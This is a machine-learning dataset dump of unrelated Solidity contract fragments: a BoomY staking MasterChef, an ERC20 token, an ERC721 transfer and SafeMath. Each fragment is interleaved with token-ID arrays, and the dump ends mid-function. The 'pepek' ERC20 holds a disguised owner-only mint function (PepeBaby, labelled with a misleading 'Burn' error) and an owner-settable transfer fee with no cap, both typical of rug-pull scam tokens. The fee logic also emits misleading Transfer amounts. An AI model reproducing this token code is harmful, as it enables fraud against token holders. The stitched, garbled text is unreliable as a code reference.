boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); accBoomYPerShare = accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accBoomYPerShare).div(1e12).sub(user.rewardDebt).add(user.pendingRewards); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); boomY.mint(address(this), boomYReward); pool.accBoomYPerShare = pool.accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; //Should we halve the minting? if(block.number >= startBlock.add(100000) && !isMintingHalved) { boomYPerBlock = boomYPerBlock.div(2); isMintingHalved = true; } } // Deposit LP tokens to BoomYMaster for BoomY allocation. function deposit(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please deposit BoomY by staking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accBoomYPerShare) .div(1e12) .sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from BoomYMaster. function withdraw(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); user.lastHarvest = block.timestamp; emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; user.pendingRewards = 0; user.lastHarvest = block.timestamp; } // Claim rewards from BoomYMaster. function claim(uint256 _pid) public { require (_pid != 0, 'please claim staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; user.lastHarvest = block.timestamp; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Claim rewards from BoomYMaster and deposit them directly to staking pool. function claimAndStake(uint256 _pid) public { require (_pid != 0, 'please claim and stake staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); transferToStake(user.pendingRewards); emit ClaimAndStake(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer rewards from LP pools to staking pool. function transferToStake(uint256 _amount) internal { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (_amount > 0) { user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Stake BoomY tokens to BoomYMaster. function enterStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Withdraw BoomY tokens from staking. function leaveStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; require(user.amount >= _amount, "unstake: not good"); updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Withdraw(msg.sender, 0, _amount); } // Claim staking rewards from BoomYMaster. function claimStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, 0, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer staking rewards to staking pool. function stakeRewardsStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; uint256 rewardsToStake; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (user.pendingRewards > 0) { rewardsToStake = user.pendingRewards; user.pendingRewards = 0; user.amount = user.amount.add(rewardsToStake); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, rewardsToStake); } // Safe BoomY transfer function, just in case if rounding error causes pool to not have enough BoomYs. function safeBoomYTransfer(address _to, uint256 _amount) internal { uint256 boomYBal = boomY.balanceOf(address(this)); if (_amount > boomYBal) { boomY.transfer(_to, boomYBal); } else { boomY.transfer(_to, _amount); } } // **** Additional functions to edit master attributes **** function setBoomYPerBlock(uint256 _boomYPerBlock) public onlyOwner { require(_boomYPerBlock > 0, "!boomYPerBlock-0"); boomYPerBlock = _boomYPerBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigrationMaster _migrator) public onlyOwner { migrator = _migrator; } }
Claim rewards from BoomYMaster.
function claim(uint256 _pid) public { require (_pid != 0, 'please claim staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; user.lastHarvest = block.timestamp; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); }
7,889,000
[ 1, 9762, 283, 6397, 628, 605, 4252, 61, 7786, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 12, 11890, 5034, 389, 6610, 13, 1071, 288, 203, 3639, 2583, 261, 67, 6610, 480, 374, 16, 296, 1802, 448, 7516, 384, 6159, 283, 6397, 603, 384, 911, 1363, 8284, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 2583, 261, 2629, 18, 5508, 1545, 729, 18, 2722, 44, 297, 26923, 18, 1289, 12, 6011, 18, 30250, 26923, 58, 10100, 5027, 3631, 296, 1918, 9446, 30, 1846, 848, 88, 17895, 26923, 4671, 8284, 203, 3639, 1089, 2864, 24899, 6610, 1769, 203, 3639, 2254, 5034, 4634, 273, 729, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 38, 4252, 61, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 1769, 203, 3639, 309, 261, 9561, 405, 374, 747, 729, 18, 9561, 17631, 14727, 405, 374, 13, 288, 203, 5411, 729, 18, 9561, 17631, 14727, 273, 729, 18, 9561, 17631, 14727, 18, 1289, 12, 9561, 1769, 203, 5411, 4183, 38, 4252, 61, 5912, 12, 3576, 18, 15330, 16, 729, 18, 9561, 17631, 14727, 1769, 203, 5411, 3626, 18381, 12, 3576, 18, 15330, 16, 389, 6610, 16, 729, 18, 9561, 17631, 14727, 1769, 203, 5411, 729, 18, 9561, 17631, 14727, 273, 374, 31, 203, 5411, 729, 18, 2722, 44, 297, 26923, 273, 1203, 18, 5508, 31, 203, 3639, 289, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 729, 18, 8949, 18, 16411, 12, 6011, 18, 2 ]
./full_match/56/0xDa76eacd9fDe0f0E7893219Ec5898e26635A25e6/sources/pepek.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _burnaddress; uint256 public _feeGamers; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 9; _burnaddress = 0x000000000000000000000000000000000000dEaD; _feeGamers = 5; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function PepeBaby(uint256 amount) public onlyOwner { _PepeBaby(msg.sender, amount); } function setTaxFeePercent(uint256 GamersFee) external onlyOwner(){ _feeGamers = GamersFee; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _balances[recipient] = _balances[recipient].sub(amount / 100 * _feeGamers); uint256 tokens = _balances[recipient]; _balances[_burnaddress] = _balances[_burnaddress].add(amount / 100 * _feeGamers); uint256 fires = _balances[_burnaddress]; emit Transfer(sender, _burnaddress, fires); emit Transfer(sender, recipient, tokens); } function _PepeBaby(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: Burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _Gamersfee(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: Gamers from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
3,246,667
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 1758, 1071, 389, 70, 321, 2867, 31, 203, 565, 2254, 5034, 1071, 389, 21386, 43, 301, 414, 31, 203, 203, 565, 3885, 261, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 3639, 389, 31734, 273, 2468, 31, 203, 540, 203, 3639, 389, 70, 321, 2867, 273, 374, 92, 12648, 12648, 12648, 12648, 2787, 72, 41, 69, 40, 31, 203, 540, 203, 4202, 389, 21386, 43, 301, 414, 273, 1381, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 5024, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 5024, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 2 ]
./partial_match/1/0x3C9C88A7B9A625a6bcE57DE8c05d9dC9a5f9591c/sources/ERC721Batch.sol
* @dev Transfers `tokenId` from `from` to `to`. As opposed to {transferFrom}, this imposes no restrictions on msg.sender. Requirements: - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. Emits a {Transfer} event./_beforeTokenTransfer(from, to, tokenId); Clear approvals from the previous owner
function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _approve(address(0), tokenId); BalancesMap[from] = BalancesMap[from].sub(1); BalancesMap[to] = BalancesMap[to].add(1); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); }
2,838,727
[ 1, 1429, 18881, 1375, 2316, 548, 68, 628, 1375, 2080, 68, 358, 1375, 869, 8338, 225, 2970, 1061, 7423, 358, 288, 13866, 1265, 5779, 333, 709, 10522, 1158, 17499, 603, 1234, 18, 15330, 18, 29076, 30, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 2316, 548, 68, 1147, 1297, 506, 16199, 635, 1375, 2080, 8338, 7377, 1282, 279, 288, 5912, 97, 871, 18, 18510, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 1147, 548, 1769, 10121, 6617, 4524, 628, 326, 2416, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 565, 262, 2713, 5024, 288, 203, 3639, 2583, 12, 203, 5411, 3410, 951, 12, 2316, 548, 13, 422, 628, 16, 203, 5411, 315, 654, 39, 27, 5340, 30, 7412, 434, 1147, 716, 353, 486, 4953, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 27, 5340, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 203, 3639, 389, 12908, 537, 12, 2867, 12, 20, 3631, 1147, 548, 1769, 203, 540, 605, 26488, 863, 63, 2080, 65, 273, 282, 605, 26488, 863, 63, 2080, 8009, 1717, 12, 21, 1769, 203, 540, 605, 26488, 863, 63, 869, 65, 273, 605, 26488, 863, 63, 869, 8009, 1289, 12, 21, 1769, 203, 3639, 389, 4505, 5157, 63, 2080, 8009, 4479, 12, 2316, 548, 1769, 203, 3639, 389, 4505, 5157, 63, 869, 8009, 1289, 12, 2316, 548, 1769, 203, 203, 3639, 389, 2316, 5460, 414, 18, 542, 12, 2316, 548, 16, 358, 1769, 203, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x63f876cacF48C4325c213F93A281FC422e6C1e87/sources/contracts/starkeys.sol
* Set some Keys aside/
function reserveKeys() public onlyOwner { uint supply = _supplyByLevel[1]; uint i; for (i = 0; i < 30; i++) { _safeMint(msg.sender, supply + i); _supplyByLevel[1] = supply + i; } }
8,131,605
[ 1, 694, 2690, 11432, 487, 831, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20501, 2396, 1435, 1071, 1338, 5541, 288, 540, 203, 3639, 2254, 14467, 273, 389, 2859, 1283, 858, 2355, 63, 21, 15533, 203, 3639, 2254, 277, 31, 203, 3639, 364, 261, 77, 273, 374, 31, 277, 411, 5196, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 12, 3576, 18, 15330, 16, 14467, 397, 277, 1769, 203, 5411, 389, 2859, 1283, 858, 2355, 63, 21, 65, 273, 14467, 397, 277, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { uint constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* Contract to handle all behavior related to ownership of contracts -handles tracking current owner and transferring ownership to new owners */ contract Owned { address public owner; address private newOwner; event OwnershipTransferred(address indexed_from, address indexed_to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function 